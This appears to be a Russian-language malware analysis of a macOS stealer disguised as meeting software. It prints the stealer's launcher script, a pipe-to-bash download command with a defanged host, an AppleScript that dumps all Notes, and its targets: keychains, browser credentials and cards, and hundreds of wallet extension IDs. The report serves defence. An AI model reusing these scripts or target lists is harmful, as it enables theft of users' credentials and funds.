SHA1-хеши:
- f0b8ef7ba2dc9dcc6156ed5d26964798bbf5d29e (MeetLabs.dmg — образ диска .dmg)
- 213407de0ea5f352e2ab66cdb91e7e633c54cd1c (installer — исполняемый файл трояна)
Обфускатор: Rust OLLVM (indirect global variable)
Описание
Вредоносная программа, работающая на компьютерах под управлением macOS. Она похищает различную информацию с зараженных устройств, включая сохраненные логины и пароли в браузерах, куки (cookies) и данные из криптокошельков. Злоумышленники выдают это троянское приложение за ПО для проведения онлайн-конференций и распространяют его через вредоносные сайты.
Mac.PWS.JobStealer.1 написан на языке программирования Rust. Код трояна обфусцирован Rust OLLVM, что усложняет его анализ. Кроме того, в трояне активно применяется интерфейс внешних функций (FFI — Foreign Function Interface) к Objective-C, что позволяет Mac.PWS.JobStealer.1 создавать фишинговые окна и запускать OSA-скрипты.
Принцип действия
Распространение
Mac.PWS.JobStealer.1 может скачиваться с вредоносных сайтов в двух форматах:
- в виде образа диска .dmg, содержащего исполняемый файл трояна и скрипт для его запуска;
- непосредственно в виде исполняемого файла.
В первом случае при установке из dmg-образа скрипт присваивает необходимые атрибуты троянскому исполняемому файлу и запускает его:
DIR="$(cd "$(dirname "$0")" && pwd)"
APP_NAME="installer"
APP_PATH="$DIR/.back/$APP_NAME"
TEMP_APP="/tmp/$APP_NAME"
rm -rf "$TEMP_APP"
cp -r "$APP_PATH" "$TEMP_APP"
xattr -c "$TEMP_APP"
chmod +x "$TEMP_APP"
clear
nohup /tmp/installer &>/dev/null &
clear
Во втором случае злоумышленники приводят на вредоносном сайте bash-команду вида curl -s hxxps[:]//macos[.]meetix[.]app/install | nohup bash &, которую просят скопировать и выполнить в терминале. При ее выполнении с сайта загружается скрипт, скачивающий и запускающий исполняемый файл Mac.PWS.JobStealer.1:
#!/usr/bin/env bash
SOFT_NAME="Meetix"
INSTALL_DIR="/usr/local/bin"
DOWN_URL="hxxps[:]//macos[.]meetix[.]app/installer"
echo "Installing the app..."
TMP_FILE=$(mktemp)
trap 'rm -f "$TMP_FILE"' EXIT
curl -fsSL "$DOWN_URL" -o "$TMP_FILE"
chmod +x "$TMP_FILE"
"$TMP_FILE" > /dev/null
Выполнение
При запуске Mac.PWS.JobStealer.1 расшифровывает строку c URL hxxps[:]//526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976[.]ingest[.]de[.]sentry[.]io/4509422649213008, ведущим на легитимный сервис мониторинга активности приложений. При отсутствии этого URL, либо в случае ошибки его обработки Mac.PWS.JobStealer.1 пытается получить другой URL из переменной SENTRY_DSN.
Независимо от результата обработки целевого URL вредоносная программа проверяет окружение на наличие следующих переменных: SENTRY_RELEASE, SENTRY_ENVIRONMENT, HTTP_PROXY, HTTPS_PROXY, SSL_VERIFY.
Троян активно использует функции Objective-C для работы с объектами Core Foundation. В частности, при помощи метода sharedApplication() класса RSTApplication создается Cacao-приложение.
Mac.PWS.JobStealer.1 использует метод языка Rust https://github.com/apache/teaclave-sgx-sdk/blob/b635249a1cbf55d5eb15819b4578827f2a27d8a0/sgx_sync/src/once.rs#L150 для вызова функции, с помощью которой устанавливает обратные вызовы на основные состояния цикла жизни созданного Cacao-приложения. Основная функциональность привязана к состоянию applicationDidFinishLaunching:. При переходе приложения в это состояние троян переходит к выполнению основной вредоносной деятельности.
1. Троян получает информацию о версии операционной системы и UUID зараженного компьютера, исполняя команду ioreg -rd1 -c IOPlatformExpertDevice через оболочку ZSH (Z shell).
2. Пытается соединиться с C2-сервером hxxps[:]//cloudproxy[.]link/m/opened. В случае неудачи отображает окно с текстом Cannot connect to the server. Please reinstall or use VPN..
3. Демонстрирует окно с просьбой ввести пароль от учетной записи пользователя Mac. Если пароль неверный, троянская программа исполняется в режиме force_mode.
4. Копирует файлы /Users/%USERNAME%/Library/Keychains/login.keychain-db и /Library/Keychains/login.keychain.
5. Пытается получить доступ к данным веб-браузеров Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc и CocCoc по следующим параметрам: имя браузера, имя браузера в списке процессов, имя хранилища.
Далее проходит по списку целевых браузеров и находит следующие данные:
- Cookies (использует код https://github.com/hakaioffsec/browservoyage/blob/main/src/chrome/macos.rs#L329).
- Браузерные расширения криптокошельков. В первую очередь пытается найти расширение с идентификатором hnfanknocfeofbddgcijnmhnfnkdnaad — Coinbase Wallet. Также имеет зашифрованный список других кошельков, включающий 298 позиций (приведены ниже).
- Данные банковских карт из сохраненного списка автозаполнения (использует код на основе https://github.com/lusca0x01/MaldevTechniques/blob/9d5bd787a749017c73d275899e89685bbaaae46e/SRIS/src/browser/database.rs#L144).
- Пароли из сохраненного списка автозаполнения.
6. Получает внешний IP-адрес, обращаясь к hxxps[:]//freeipapi[.]com/api/json.
7. Собирает информацию об операционной системе.
8. Собирает файлы мессенджера Телеграм, расположенные в /Library/Application Support/Telegram Desktop/tdata и /Documents/temp_data/Apps/Telegram.
9. Выполняет OSA-скрипт, который получает доступ ко всем запискам пользователя из стандартного для macOS приложения Notes и сохраняет их в файл. Скрипт имеет следующий вид:
tell application "Notes"
repeat with theAccount in accounts
repeat with theFolder in folders of theAccount
repeat with theNote in notes of theFolder
set noteTitle to name of theNote
if noteTitle is "" then set noteTitle to "Untitled"
set safeTitle to do shell script "echo " & quoted form of noteTitle & " | tr -cd '[:alnum:] _-'"
set filePath to "/" & safeTitle & ".txt"
set noteBody to body of theNote
set fileRef to open for access filePath with write permission
set eof of fileRef to 0
write noteBody to fileRef
close access fileRef
end repeat
end repeat
end repeat
end tell
10. По наличию каталогов /Applications/Ledger Live.app и /Applications/Trezor Suite.app определяет присутствие в системе приложений криптокошельков Ledger Live и Trezor Suite. Данные этих кошельков не копируются, троян лишь информирует C2-сервер о факте их наличия.
11. Помещает все собранные данные в ZIP-архив, который затем загружает на C2-сервер hxxps[:]//cloudproxy[.]link/m/opened.
12. Формирует JSON с информацией о полученных данных и загружает его по адресу sentry[.]io.
Структура JSON:
- 'ip': , — поле ipAddress из ответа hxxps[:]//freeipapi[.]com/api/json;
- 'geo': , — поле countryName из ответа hxxps[:]//freeipapi[.]com/api/json;
- 'build_name': , — зашитое в коде трояна значение 'N9T';
- 'build_version': , — зашитое в коде трояна значение '9.9.10';
- 'filename': , — результат выполнения функции _NSGetExecutablePath();
- 'pers_password': , — пароль от учетной записи пользователя Mac, полученный с помощью реализованного в функции rst_phish_lpe фишингового окна;
- 'passwords': , — число извлеченных из браузеров паролей;
- 'cookies': , — число извлеченных из браузеров файлов cookie;
- 'wallets': , — число извлеченных из браузеров дампов с данными расширений-криптокошельков;
- 'credits': , — число извлеченных из браузеров данных банковских карт;
- 'is_vm': , — всегда указывается значение True;
- 'hardwares': , — через запятую указываются строки Trezor и Ledger при наличии соответствующих приложений;
- 'force_mode': — режим, при котором пароль, введенный пользователем в фишинговое окно, неверный. В этом случае поле pers_password остается пустым.
Список целевых расширений-криптокошельков
Зашифрованный список браузерных расширений-криптокошельков, данные которых пытается извлечь Mac.PWS.JobStealer.1:
| Название расширения-криптокошелька | Идентификатор расширения |
|---|---|
| Tronlink | ibnejdfjmmkpcnlpebklmnkoeoihofec |
| NiftyWallet | jbdaocneiiinmjbjlgalhcelgbejmnid |
| Metamask | nkbihfbeogaeaoehlefnkodbefgpgknn |
| MetamaskE | ejbalbakoplchlghecdalmeeeajnimhm |
| MathWallet | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| Coinbase | hnfanknocfeofbddgcijnmhnfnkdnaad |
| Ambire | ehgjhhccekdedpbkifaojjaefeohnoea |
| BinanceChain | fhbohimaelbohpjbbldcngcnapndodjp |
| BraveWallet | odbfpeeihdkbihmopkbjmoonfanlbfcl |
| GuardaWallet | hpglfhgfnhbgpjdenjgmdgoeiappafln |
| EqualWallet | blnieiiffboillknjnepogjhkgnoapac |
| JaxxxLiberty | cjelfplplebdjjenllpjcblmjkfcffne |
| BitAppWallet | fihkakfobkmkjojpchpfgcmhfjnmnfpi |
| iWallet | kncchdigobghenbbaddojjnnaogfppfj |
| Wombat | amkmjjmmflddogmhpjloimipbofnfjih |
| AtomicWallet | fhilaheimglignddkjgofkcbgekhenbh |
| MewCx | nlbmnnijcnlegkjjpcfjclmcfggfefdm |
| GuildWallet | nanjmdknhkinifnkgdcggcfnhdaammmj |
| SaturnWallet | nkddgncdjgjfcddamfgcmfnlhccnimig |
| RoninWallet | fnjhmkhhmkbjkkabndcnnogagogbneec |
| TerraStation | aiifbnbfobpmeekipheeijimdpnlpgpp |
| HarmonyWallet | fnnegphlobjdpkhecapkijjdkgcjhkib |
| Coin98Wallet | aeachknmefphepccionboohckonoeemg |
| TonCrystal | cgeeodpfagjceefieflmdfphplkenlfk |
| KardiaChain | pdadjkfkgcafgbceimcpbkalnfnepbnk |
| Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |
| PaliWallet | mgffkfbidihjpoaomajlbgchddlicgpn |
| BoltX | aodkkagnadcbobfpggfnjeongemjbjca |
| LiqualityWallet | kpfopkelmapcoipemfendmdcghnegimn |
| XdefiWallet | hmeobnfnfcmdkdcmlblgagmfpfboieaf |
| NamiWallet | lpfcbjknijpeeillifnkikgncikgfhdo |
| MaiarDeFiWallet | dngmlblcodfobpdpecaadgfbcggfjfnm |
| Backpack | aflkmfhebedbjioipglgcbcmnbpgliof |
| PetraWallet | ejjladinnckdgjemekebdpeokbikhfci |
| MartianWallet | efbglgofoippbgcjepnhiblaibcnclgk |
| RiseWallet | hbbgbephgojikajhfbomhlmmollphcad |
| TrustWallet | egjidjbpglichdcondbcbdnbeeppgdph |
| PontemWallet | phkbamefinggmakgklpkljjmgibohnba |
| UniSat | ppbibelpcjmhbdihakflkdcoccbgbkpo |
| Braavos Smart Wallet | jnlgamecbpmbajjfhmmmlhejkemejdma |
| BNB Chain Wallet | fhbohimaelbohpjbbldcngcnapndodjp |
| Fin Wallet For Sei | dbgnhckhnppddckangcjbkjnlddbjkna |
| Core Wallet | agoakfejjabomempkjlepdflaleeobhb |
| Leo Wallet | nebnhfamliijlghikdgcigoebonmoibm |
| Koala | lnnnmfcpbkafcpgdilckhmhbkkbpkmid |
| Sui Wallet | opcgpfmipidbgpenhmajoajpbobppdil |
| Fetch Wallet | ellkdbaphhldpeajbepobaecooaoafpg |
| Gate Wallet | cpmkedoipcpimgecpmgpldfpohjplkpp |
| Ethos Sui Wallet | mcbigmjiafegjnnogedioegffbooigli |
| Suiet | Sui Wallet | khpkpbbcccdmmclmpigdgddabeilkdpd |
| Ecto Wallet | bgjogpoidejdemgoochpnkmdjpocgkha |
| Glass wallet | Sui wallet | loinekcabhlmhjjbocijdoimmejangoa |
| Elli - Sui Wallet | ocjdpmoallmgmjbbogfiiaofphbjgchh |
| Argent X - Starknet Wallet | dlcobpjiigpikoobohmabehhmhfoodbb |
| SafePal Wallet | lgmpcpglpngdoalbgeoldeajfclnhafa |
| Bitfinity Wallet | jnldfbidonfeldmalbflbmlebbipcnle |
| Fewcha Move Wallet | ebfidpplhabeedpnhjnobghokpiioolj |
| Morphis Wallet | heefohaffomkkkphnlpohglngmbcclhi |
| Temple - Tezos Wallet | ookjlbkiijinhpmnjffcofjonbfbgaoc |
| Carax Wallet | mdjmfdffdcmnoblignmgpommbefadffd |
| Venom Wallet | ojggmchlghnjlapmfbnjholfjkiidbch |
| Fearless Wallet | nhlnehondigmgckngjomcpcefcdplmgc |
| NC Wallet | imlcamfeniaidioeflifonfjeeppblda |
| LootRush Wallet | lfmmjkfllhmfmkcobchabopkcefjkoip |
| Ramper Wallet | nbdhibgjnjpnkajaghbffjbkcgljfgdi |
| Flow Reference Wallet | hpclkefagolihohboafpheddmmgdffjm |
| Leap Cosmos Wallet | fcfcfllfndlomdhbehjjcoimbgofdncg |
| EVER Wallet | cgeeodpfagjceefieflmdfphplkenlfk |
| Monsta Wallet | hpbgcgmiemanfelegbndmhieiigkackl |
| Wallet Highlighter - Crypto Fraud & Risk Tool | cnmbailpgmdagpofalkeoeooefdkjfdl |
| Pontem Aptos Wallet | phkbamefinggmakgklpkljjmgibohnba |
| Halo Wallet | nbdpmlhambbdkhkmbfpljckjcmgibalo |
| Signum XT Wallet | kdgponmicjmjiejhifbjgembdcaclcib |
| Stargazer Wallet | pgiaagfkgcbnmiiolekcfmljdagdhlcm |
| Sender Wallet | epapihdplajcdnnkdeiahlgigofloibg |
| Manta Wallet | enabgbdfcbaehmbigakijjabdpdnimlg |
| Surf Wallet | emeeapjkbcbpbpgaagfchmcgglmebnen |
| Casper Wallet | abkahkcbhngaebpcgfmhkoioedceoigp |
| Compass Wallet for Sei | anokgmphncpekkhclmingpimjmcooifb |
| Zerion: Wallet for Web3 & NFTs | klghhnkeealcohjjanjjdaeeggmfmlpl |
| Viction Wallet | nopnfnlbinpfoihclomelncopjiioain |
| Ninji Wallet | kkpllbgjhchghjapjbinnoddmciocphm |
| Wallet Guardian | ooiepdgjjnhcmlaobfinbomgebfgablh |
| Aurox Wallet | kilnpioakcdndlodeeceffgjdpojajlo |
| Crypto.com | Wallet | hifafgmccdpekplomjjkcfgodnhcellj |
| Xverse Wallet | idnnbdplmphpflfnlkomgpfbpcgelopg |
| Frontier Wallet | kppfdiipphfccemcignhifpjkapfbihd |
| Fuelet Wallet | Fuel | bifidjkcdpgfnlbcjpdkdcnbiooooblg |
| Ultra Wallet | kjjebdkfeagdoogagbhepmbimaphnfln |
| Rabby Wallet | acmacodkjbdgmoleebolmdjonilkdbch |
| ONTO Wallet | ifckdpamphokdglkkdomedpdegcjhjdp |
| Keeper Wallet | lpilbniiabackdjcionkobglmddfbcjo |
| Suku Wallet | fopmedgnkfpebgllppeddmmochcookhc |
| TokenPocket | mfgccjchihfkkindfppnaooecgfneiii |
| Bitget Wallet (Formerly BitKeep) | jiidiaalihmmhddjgbnbgdfflelocpak |
| Trust Wallet BETA BUILD | eaeecbmeajhliilmacefcgjnnijkkfki |
| SubWallet - Polkadot Wallet | onhogfjeacnfoofkfgppdlbmlmnplgbn |
| Nautilus Wallet | gjlmehlldlphhljhpnlddaodbjjcchai |
| cola wallet | apgjfbcibghlclbdiipmojppngeilcol |
| Leap Terra Wallet | aijcbedoijmgnlmjeegjaglmepbmpkpi |
| Cirus: Crypto Wallet | Web3 | Earn Crypto | kgdijkcfiglijhaglibaidbipiejjfdp |
| Solflare Wallet | bhhhlbepdkbapadjdnnojkbgioiodbic |
| SenSui Wallet | ebaeifdbcjklcmoigppnpkcghndhpbbm |
| Desig Wallet | panpgppehdchfphcigocleabcmcgfoca |
| Spacecy Wallet | mkchoaaiifodcflmbaphdgeidocajadp |
| D/Wallet | ngakogceekkandcbkniokoghdckjhhok |
| Fuel Wallet | dldjpboieedgcmpkchcjcbijingjcgok |
| Wallet Guard: Protect Your Crypto | pdgbckgdncnhihllonhnjbdoighgpimk |
| OrdiFind Wallet | dpcklmdombjcplafheapiblogdlgjjlb |
| G.U. Wallet | nfinomegcaccbhchhgflladpfbajihdf |
| Wigwam — Web3 Wallet | lccbohhgfkdikahanoclbdmaolidjdfl |
| Bee Wallet | nankopfjhdflikcokhgohiaoehnjfako |
| Oasis Wallet | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| ABC Wallet | mlhakagmgkmonhdonhkpjeebfphligng |
| Addy - Quick Wallet Copy | glhefpglgefbmegkpjkdgoikologepdl |
| Typhon Wallet | kfdniefadaanbjodldohaedphafoffoh |
| Hana Wallet | jfdlamikmbghhapbgfoogdffldioobgl |
| Exodus Web3 Wallet | aholpfdialjgjfhomihkjbmgjidlcdno |
| Flint Wallet | hnhobjmcibchnmglfbldbfabcgaknlkj |
| OsmWallet - Your XRP wallet. | kmphdnilpmdejikjdnlbcnmnabepfgkh |
| Stamp Wallet | ldcihfaojdpmhjkhioilfjjckehehddg |
| Indexx Wallet | fpibioaihcagphbidhodidjbnclocgll |
| Degen Wallet | ejdmhlhkcfbkcoifejkcbonhodkgflgg |
| MultiversX DeFi Wallet | dngmlblcodfobpdpecaadgfbcggfjfnm |
| Litescribe Wallet | ajofhbfomojicfifgoeeimefklkfdkfn |
| Bitgreen Wallet | elalghlhoepcjfaedkcmjolahamlnjcp |
| Falcon Wallet | gkhnjcpkikkkfhhdhhphcbhmkikoicgn |
| Radix Wallet Connector | bfeplaecgkoeckiidkgkmlllfbaeplgm |
| Vega Wallet - Mainnet | codfcglpplgmmlokgilfkpcjnmkbfiel |
| Internet Money | Crypto Wallet | ckklhkaabbmdjkahiaaplikpdddkenic |
| Magic Eden Wallet | mkpegjkblkkefacfnmkajcjmabijhclg |
| Twetch Wallet | jaooiolkmfcmloonphpiiogkfckgciom |
| Enkrypt: Multichain Crypto Wallet | kkpllkodjeloidieedojogacfhpaihoh |
| Virgo Wallet | ibljocddagjghmlpgihahamcghfggcjc |
| Cosmostation Wallet | fpkhgmpbidmiogeglndfbkegfdlnajnf |
| D-Wallet | bccippoanbhflmokhkbkepmhmndijenh |
| 5ire Wallet | keenhcnmdmjjhincpilijphpiohdppno |
| Alby - Bitcoin Wallet for Lightning & Nostr | iokeahhehimjnekafflcihljlcjccdbe |
| DPal:Wallet for DogeCoin | lmkncnlpeipongihbffpljgehamdebgi |
| Tonkeeper — wallet for TON | omaabbefbmiijedngplfjmnooppbclkk |
| BlocksPay: Secure Multiple Chains Wallet | pogabilnghhbafaheaepaaeopjpleimd |
| Beam Web Wallet | ilhaljfiglknggcoegeknjghdgampffk |
| NEAR Wallet in dark mode | ohjgojhmjldjfningdelbffpnddmiphh |
| Polymesh Wallet | jojhfeoedkpkglbfimdfabpdfjaoolaf |
| Cling Wallet | kppgpfphbmbcgeglphjnhnhibonmebkn |
| Talisman - Ethereum and Polkadot Wallet | fijngjgcjhjmmpcmkeiomlglpeiijkld |
| CLV Кошелёк | nhnkbkgjikgcigadomkphalanndcapjk |
| Wizz Wallet(Formerly Atom) | ghlmndacnhlaekppcllcpcjjjomjkjpg |
| Harbor - Crypto Wallet | hgbeiipamcgbdjhfflifkgehomnmglgk |
| TON Wallet | nphplpgoakhhjchkkhmiggakijnkhfnd |
| TanglePay IOTA Wallet | hbneiaclpaaglopiogfdhgccebncnjmc |
| Virtual Labs Wallet | hlbmghfhijdlnllnnnakmcagdfhhkfna |
| HAVAH Wallet | cnncmdhjacpkmjmkcafchppbnpnhdmon |
| Hoogii Wallet | jljjeghmeihjegifdhbghcoihdiegkkl |
| MyTonWallet · My TON Wallet | fldfpgipfncgndfolcbkdeeknbbbnhcc |
| LeafWallet - Easy to use EOS wallet | cihmoadaighcejopammfbmddcmdekcje |
| VOFO Wallet | jmgipjhlmabpmcikcahmmgleghckefjg |
| Fluvi Wallet | mmmjbcfofconkannjonfmjjajpllddbg |
| Mojito - A Mintlayer Wallet | hbnpcbochkgodkmmicbhfpmmkhbfbhim |
| Reef Chain Wallet | mjgkpalnahacmhkikiommfiomhjipgjn |
| OKX Wallet | mcohilncbfahbmgdjkbpemcciiolgcge |
| Slope Wallet | pocmplpaccanhmnllbbkpgfliimjljgo |
| Bitverse Wallet | gkeelndblnomfmjnophbhfhcjbcnemka |
| Biport Wallet | mapbhaebnddapnmifbbkgeedkeplgjmf |
| Alephium Wallet | gdokollfhmnbfckbobkdbakhilldkhcj |
| OVG Wallet | ghihpcdpbjaaomhlfnhdlocimojkinpm |
| Diver Wallet | pdlocjdlejekdbpghdcmedeacpkfiiof |
| Carbon Wallet | pnphepacpjpklpbacfmebicbgndobakn |
| Bybit Wallet | pdliaogehgdbhbnmkklieghmmjkpigpa |
| xBull Wallet | omajpeaffjgmlpmhbfdjepdejoemifpe |
| XPLA Vault Wallet | ocjobpilfplciaddcbafabcegbilnbnb |
| Figure Wallet | mgbfflhghaohmaecmaggieniidindaoc |
| ADS Wallet | algblmhagnobbnmakepomicmfljlbehg |
| Crust Wallet | jccapkebeeiajkkdemacblkjhhhboiek |
| zkID Wallet | ahkpfejaeoepmfopmbhjgjekibmfcfgo |
| DID Wallet | ibjflpbmadchofnbpppegdbnifdgincp |
| Panda Wallet | mlbnicldlpdimbjdcncnklfempedeipj |
| XcelPay Wallet | ehjiblpccbknkgimiflboggcffmpphhp |
| Cypher Wallet | niiaamnmgebpeejeemoifgdndgeaekhe |
| Cyano Wallet | dkdedlpgdmmkkfjabffeganieamfklkm |
| RWA Wallet | fhmmkjofdcpnoklcbcnbjjhigobceikb |
| XIDAR Wallet for RadixDLT | hgnpaljkalilofmmbhgkkldbdbogddlo |
| ATOM Wallet | jnggcdmajcokeakpdeagdhphmkioabem |
| AIN Wallet | hbdheoebpgogdkagfojahleegjfkhkpl |
| V Wallet | afccgfbnbpgfdokbllhiccepgggofoco |
| Bittensor Wallet | bdgmdoedahdcjmpmifafdhnffjinddgc |
| EVER Wallet beta | mfiealgchgibibbamfjebflnfjihfedk |
| Arbolet wallet | jhnilbocebbmeelaolalihfokjgdmogb |
| Titan Wallet | bplepbelihejfpcjoeialhjpamgpnfln |
| Safle Wallet | pmmbeeacafhbpgmlkacpadheejlhhkbf |
| Portkey Wallet: Crypto & Games (Deprecated) | hpjiiechbbhefmpggegmahejiiphbmij |
| Termino Wallet | bbjmepflljbbfaehppakknfgdnojoled |
| Hippo Wallet | hddkffjleepiafmkhcneldjipkfkkofk |
| Dingocoin Wallet | njoljnomkdoakfphjbapdopdcneceeaf |
| BRC20 Wallet | ifgjklbmlnimhldbmddmkdhoahfocppf |
| WELLDONE Wallet for multichain | bmkakpenjmcpfhhjadflneinmhboecjf |
| Nest Wallet | cmoakldedjfnjofgbbfenefcagmedlga |
| SKY Wallet | llakdhpogpnejheknjbhbadoaomejgbi |
| Concordium Wallet | mnnkpffndmickbiakofclnpoiajlegmg |
| Quantum Wallet | ajopcimklncnhjednieoejhkffdolemp |
| Nabox Wallet | nknhiehlklippafakaeklbeglecifhad |
| Apex Wallet | oppceojapmdmhpnmjpballbbdclocdhj |
| Blade – Hedera Web3 Digital Wallet | abogmiocnneedmmepnohnhlijcjpcifd |
| SAFEW - Simple And Fast Ergo Wallet | fmpbldieijjehhalgjblbpgjmijencll |
| Free City Wallet | bmmhjnaohafphhlecmkkiaaglcebcapn |
| HBAR crypto wallet | kkpehldckknjffeakihjajcjccmcjflh |
| YellowHeart - Wallet | oponnjpnbhdmohlkonljdfhbeibljfoa |
| LimeCoinX Wallet | jhjebgdkdemiibiibgickfkilfpbelaj |
| SSP Wallet | mgfbabcnedcejkfibpafadgkhmkifhbd |
| MOOI Wallet | dpdmipjakdiapplcecdmgckknipnfjph |
| Salmon Wallet | ejbidfepgijlcgahbmbckmnaljagjoll |
| Pockie Wallet | dmjmllblpcbmniokccdoaiahcdajdjof |
| Legacy Wallet | ammjlinfekkoockogfhdkgcohjlbhmff |
| EZ Bitcoin wallet | caalbmclnkldkcgcdkfiapoopikbofnl |
| Razor Wallet | fdcnegogpncmfejlfnffnofpngdiejii |
| Samara: Web Wallet for Crypto | fcjkomdnccnlklmhncgmaehaakjkddnk |
| Sugarchain Wallet | pgojdfajgcjjpjnbpfaelnpnjocakldb |
| OpenMask - TON wallet | penjlddjkjgpnkllboccdgccekpkcbin |
| XPLA GAMES Wallet | kolfcecahpbgbilkdkalabnfjjklkkae |
| Kabila Wallet | cnoepnljjcacmnjnopbhjelpmfokpijm |
| Kuma Wallet | hbinmkhlebcnghpikoekkbeljbealbje |
| GoSat Wallet | olgpchjlegmakkhfbahgnjojlefnealp |
| Metahub Wallet | nglnaekfdaelelcaokeemlnopjhekdkj |
| Puzzle | Aleo Wallet | fdchdcpieegfofnofhgdombfckhbcokj |
| Unification Web Wallet | mkjjflkhdddfjhonakofipfojoepfndk |
| Tron Wallet & Explorer - Tronium | pnndplcbkakcplkjnolgbkdgjikjednm |
| Multi Wallet | nlgnepoeokdfodgjkjiblkadkjbdfmgd |
| Klever Wallet | ifclboecfhkjbpmhgehodcjpciihhmif |
| Vanta Wallet | modjfdjcodmehnpccdjngmdfajggaoeh |
| Wealth Bear Wallet | fjghjobbfggoacelnibacipoilennobn |
| Unwa Wallet | gkpbmnplcjdnnmmiaaphofhdiicdhfah |
| MetaMask | olkbchllhcflpbjfgagahpkjnjioiedg |
| Penumbra wallet | lkpmkhpnhknhmibgnmmhdhgdilepfghe |
| Classic Station Wallet | emgcpdnckldpdhjgmkeeahfaokmhgpab |
| Cyano Wallet Pro | icmkfkmjoklfhlfdkkkgpnpldkgdmhoe |
| Pulse Wallet Chromium | ciojocpkclfflombbcfigcijjcbkmhaf |
| OrdPay Wallet | jfflgdhkeohhkelibbefdcgjijppkdeb |
| Comet Wallet | bhmbcdekobebkhmloafbjfdcphbmpcnm |
| Wallet with marketmaking | oldojieloelkkfeacfinhcngmbkepnlh |
| CHI Wallet | fajmdbbmcncahahilpfdiacamedmgdlk |
| TRIO Wallet | bidcmgjdfgkagkleecdockomdjlgglbg |
| Deloitte Credentials Wallet | bflldjbbpcjgooclhpmhdhioebmnnkcm |
| Iron Wallet | eljobehkpcnpekmbcjiidekjhkbcnpkf |
| Energy8 Wallet | mdnaglckomeedfbogeajfajofmfgpoae |
| Lite Wallet | oklkeijlcjcpbokmkmnjepjhnggkfkcl |
| JustLiquidity Wallet | cmbagcoinhmacpcgmbiniijboejgiahi |
| TezBox - Tezos Wallet | mnfifefkajgofkcjkemidiaecocnkjeh |
| Goldmint Lite Wallet | fnabdmcgpkkjjegokfcnfbpneacddpfh |
| Run Wallet | oehdbmfbnjnpahadljbdcjndmepmgjgl |
| ZEON Wallet | gbjepgaebckfidagpfeioimheabiohmg |
| Elysium Wallet | fbplgegfggencanbeceipjpanlmgpkfi |
| Companion Wallet | amdcajcnofodjpgbbdnnjkffamfnidae |
| YAKKL® Smart Wallet | dpmfhilhjlhhakpbieclcghochdofeao |
| AOK Wallet | aoedbjimepepemdafoodplnknfkmbnle |
| Blockcore Wallet | peigonhbenoefaeplkpalmafieegnapj |
| XDB Wallet | bodadjcgfgigmmnambomndppidgdjlni |
| Astrone Wallet | dpealdfjgahljjdekeiadjnfgpijffhg |
| MOBOX WALLET | fcckkdbjnoikooededlapcalpionmalo |
| Kaanch Wallet | jicpmdkafljkkppgpellcjhfhdmjpogm |
| EQ Hub Wallet | jjkhekbaikcnpnhflnnlnbonkkobkiim |
| Pando Network Wallet | emafjfadeeammocialbgjbaeldmpddne |
| WalletX | Smart Wallet | mdjjoodeandllhefapdpnffjolechflh |
| Wallet Inc: Merchant Daily Stats | dfbacijefbcabjnngipfnbhcpoldlkcg |
| Pools Wallet | bcpialkijhffpgnmgjhjmdeabdbbfmbo |
| Nebulas Wallet | magbanejlegnbcppjljfhnmfmghialkl |
| Galaxy Station Wallet | akckefnapafjbpphkefbpkpcamkoaoai |
| Opencrypt Wallet Generator | ikcpjgihikfinlkobegiiogdigohmfam |
| Spade Wallet | idpfplgehakelkdadhcacicjjbemjbke |
| Sequence Wallet | ocmccklecaalljlflmclidjeclpcpdim |
| Nintondo Wallet | akkmagafhjjjjclaejjomkeccmjhdkpa |
| C2X Station Wallet | ofeeamlegilfbjlgbephmdhchpblfigo |
| Ethical Wallet | nfaepmamdapehcbedhejbjcpnlcldodi |
| 1PasswordM | aeblfdkhhhdcdjpifhhbdiojplfjncoa |
| 1PasswordB | khgocmkkpikpnmmkgmdnfckapcdkgfaf |
| 1PasswordN | gejiddohjgogedgjnonbofjigllpkmbf |
| LastPass | hdokiejnpimakedhajhdlcegeplioahd |
| ProtonPass | ghmbeldphafepmbegfdlkpapadhbakde |
| DashlanePass | fdjamakpfbbddfjaooikfcpapjohcfmg |